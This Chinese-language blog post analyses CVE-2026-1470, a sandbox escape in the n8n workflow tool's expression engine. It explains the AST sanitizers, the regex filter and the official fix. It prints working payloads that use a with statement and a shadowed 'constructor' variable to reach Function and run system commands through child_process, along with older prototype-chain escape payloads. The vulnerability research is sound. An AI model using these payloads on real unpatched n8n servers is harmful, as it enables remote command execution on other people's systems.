0x00 前言

最近爆出了CVE-2026-1470,是n8n自带的一个表达式的沙箱逃逸,实际上本质上还是js原型链相关的内容,学到了with的用法以及n8n的node执行沙箱原理,复现的时候思考了绕过的具体原理。看到也有相关文章做了分析,但只是按照审计的流程过了一遍,并未涉及沙箱具体的防护原理及Payload具体是如何构造的,并且描述可能有误区,所以还是有必要深入分析一下。

0x01 系统简介

  • 系统简介:n8n 是一款基于节点的开源工作流自动化工具,允许用户通过可视化界面将不同的服务和 API 连接起来,无需编写代码即可实现复杂的自动化任务。它支持自托管,广泛应用于数据集成、任务自动化等场景。
  • 环境搭建:
    本次复现使用 n8n 官方 Docker 镜像 docker.n8n.io/n8nio/n8n:2.4.4。Docker 启动命令:
# 拉取受影响版本的镜像
docker pull docker.n8n.io/n8nio/n8n:2.4.4

# 交互式进入容器进行验证 (或直接使用 docker run 执行验证脚本)
docker run --rm -it --entrypoint /bin/sh docker.n8n.io/n8nio/n8n:2.4.4

0x02 漏洞基本信息

  • 漏洞概述:n8n 的node表达式执行存在沙箱逃逸漏洞。认证用户可以在工作流配置中输入恶意表达式,利用 with 语句和 Function 构造函数绕过沙箱限制,访问全局对象并执行任意系统命令。
  • 受影响版本:
  • < 1.123.17
  • [2.0.0, 2.4.5)
  • [2.5.0, 2.5.1)
  • 修复版本:
  • 1.123.17
  • 2.4.5
  • 2.5.1

0x03 漏洞分析过程

一直以来的习惯都是根据漏洞关键信息,学习下这个漏洞的基本语法特性,然后拉下漏洞版本代码,以代码审计的思路走一遍,这样就代表自己也有能力发现这个漏洞,多了一个sink点技能。而不是上来直接diff下,往上跟到souce点,写个文章完事。要学会自己思考,如果没有 CVE,我能不能自己踩到这个雷?从复盘变成主动发现,扩充知识面,这个漏洞如果换一个点,还能不能出?这个修复是不是只堵了这一条路?有没有同语义、不同入口的等价漏洞?显然这些问题,diff 是回答不了的。

Tournament表达式

首先查阅n8n的文档发现,在workflows中可以使用表达式转换节点中的数据,也就是可以在表达式中使用JavaScript,以及n8n的内置方法、变量和数据转换函数。

表达式实际上就是n8n自己开发的tournament模板语言,也有对应的库https://github.com/n8n-io/tournament

语法的话,简单来讲就是用tournament这个库去执行{{可以执行nodejs代码}},官方有详细介绍,不展开讲基础语法了

// simple expressions
tournament.execute('{{ 1 + 2 }}', {}); // 3

// with data context
tournament.execute('{{ user.name }}', { user: { name: 'John' } }); // 'John'

得,一开始看这洞说是nodejs沙箱绕过还以为是原生的,实际上这洞本质上就是调tournament.execute去做的代码执行。那从代码审计的角度来看就非常简单了,看代码中哪里调就行了

sink点定位

全局搜索Tournament#execute,可以定位到如下

packages/workflow/src/expression-evaluator-proxy.ts:

const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
    before: [ThisSanitizer],
    after: [PrototypeSanitizer, DollarSignValidator], // 
});

但注意这里Tournament库会将输入解析为抽象语法树,在执行前使用了一些Sanitizer做了一些防护,能看到用了三个Sanitizer,这些都是在packages/workflow/src/expression-sandboxing.ts里,这文件定义了 AST 遍历规则,检查代码中是否包含禁止的节点或属性访问的。

这里的before、after很容易给大家造成误区,以为是执行前执行后的处理,比如91498这篇文章讲到“跟进执行前的安全检查,在这里面发现没有对with语句进行处理,且未切断原型链,只做了this绑定”,实际上人家都是在执行前检查的。

如下流程

parse → ASTBeforeHook → ASTAfterHook → evaluate

先看ThisSanitizer,这里就是在 AST 刚刚被解析出来,但还没有进行核心的沙箱转换(比如把变量访问重写成 context.xxx )之前,把里面的 this 关键字替换成一个安全的对象(比如 {} ),或者给函数绑定一个空的上下文。防止通过 this 逃逸访问上下文。

然后看PrototypeSanitizer,这里就是在AST中对于对象属性ban掉了原型链属性 __proto__、prototype、constructor

讲一下,MemberExpression 指的是属性访问,比如如果是 obj.constructor,这里的 node.property.name 就是 "constructor"

具体的关键字如下,那自然会被拦截了。

这里基本上拦了我们常用的原型链污染的属性,比如我们之前常用的Payload

//获取Function
const userFunction = (function(){}).constructor; 
userFunction("return process.mainModule.require('child_process').execSync('whoami')")();


 // 之前V8引擎堆栈回溯的沙箱绕过
Error.prepareStackTrace = function(error, callSites) {
    return callSites[0].getFunction(); 
};
const err = new Error();
err.stack;

之后DollarSignValidator 限制了 $ 标识符,这一块不是重点,不再赘述。

所以总结一下,这一块对常见的原型污染、全局上下文访问、反射 API 都做了验证,是有防护的。

source点

往上跟调用就行,就是日常的代码审计回溯流程,不需要怎么重点分析。(看之前的文章都在讲这块,但这里不是沙箱逃逸的重点,没必要过一遍,你就算黑盒也能看到表达式执行点),这里主要是跟的过程中发现一个过滤点。

这里是evaluateExpression

这里传入表达式字符串

再跟就知道了,参数可控,找传表达式的地方就可以了,

这里注意对于传参做了过滤,在这里resolveSimpleParameterValue,正则直接过滤了.constructor

到这里代审的流程就已经完了,结论就是沙箱使用正则过滤了关键字,同时对AST解析后的内容做了防护。

0x04 沙箱绕过原理剖析

那到底该如何绕过呢?核心点就在于沙箱原理的绕过,之前的文章都没有讲,甚至描述有误,后面会提到。

with 语句绕过

互联网能找到的Payload 如下(当然了,我承认我不看POC,我确实不知道with这个语法,CTF没打过,积累的少):

{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}

with 语法基础:

作用是扩展代码块的作用域,使得代码块中的对象的属性可以直接访问,不需要前缀。例如,下面的代码:

var obj = {a: 1, b: 2};
with (obj) {
    console.log(a); // 输出 1
    console.log(b); // 输出 2
}

with 将代码块中的对象的所有属性添加到当前作用域中,就可以直接访问这些属性了。比如在没有 with的情况下,我们必须通过 obj.a 和 obj.b 来访问属性,但是在 with 语句中,属性添加后,就可以直接用 a 和 b 来访问了。

那此时我们构造如下,function(){} 是一个空函数对象,包含constructor属性,那本质上不就是function(){}.constructor === Function吗,在语法形式上避开了 . ,绕过了第一步的正则。

with(function(){}) {
        return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")()
}

Payload构造原理

我想,那岂不是直接解析这段就可以了,但实验并不可以,n8n 的表达式引擎要求表达式在 {{ ... }} 里,但with在 JavaScript 语法里属于语句,不是表达式,直接写进去语法就报错了。

搜索后{{ (...)() }} 整体是一个 表达式 (函数调用表达式),改成如下写法,报错如下

这里实际上依然是被AST语法树拦截了,噢,AST解析由于变成了function(){}.constructor,自然被拦截了。

那这里就是需要先通过显式地声明 constructor = 123;,那么 constructor 变量不就变成了局部变量了,由于 PrototypeSanitizer 认为这只是一个普通的变量名引用,从而避开了 visitMemberExpression 的黑名单检查。

为啥会避过检查,因为constructor 现在是一个 Identifier。 而不是 obj.constructor 这种 MemberExpression,所以constructor("xxx")在 AST 看来只是:

CallExpression(
  callee = Identifier("constructor")
)

而实际执行的时候依然是function(){}.constructor,就很巧妙的绕过了这个语法拦截。

Object暴露在沙箱上下文导致漏洞-相关误区

看到其他文章都在说是因为Object暴露在沙箱上下文导致的

https://xz.aliyun.com/news/91498

https://xz.aliyun.com/news/91500

一开始我看到,噢确实暴露了Object,那岂不是可以直接使用

{{ (function(){ var constructor = 123; with(Object){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}

但他们给到POC依然使用的是,那这跟描述的是一回事吗?使用with(function(){})创建作用域,解析的是Object.prototype

{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}

所以就思考,难道是我的理解有误?那控制变量法,直接注释掉这里,重新编译运行

可以发现,访问不到Object了,则无法触发了

但是function(){}还是可以用的,那这两篇文章描述的是这个点的原因就应该不太对了,有没有完全不影响POC。

因为with(function(){}) 会让作用域链指向 function() 返回的对象(即函数),而每个函数的 constructor 都指向 Function。因此,不管沙箱上下文是否有 data.Object = Object;,constructor 始终会解析为 Function,从而允许执行通过 constructor 调用的代码。

0x05 漏洞修复分析

官方在版本 2.4.5 中修复了此漏洞(Commit aa4d1e5)。

修复后的 packages/workflow/src/expression-sandboxing.ts:

禁用 with 语句:直接在 AST 分析阶段检测并抛出错误。如果代码中包含 with 语句,visitWithStatement 会被触发并抛出异常,阻止代码执行。这彻底阻断了利用 with 改变作用域链来绕过检测的路径。

这里实际上也是在ASTAfterHook加的。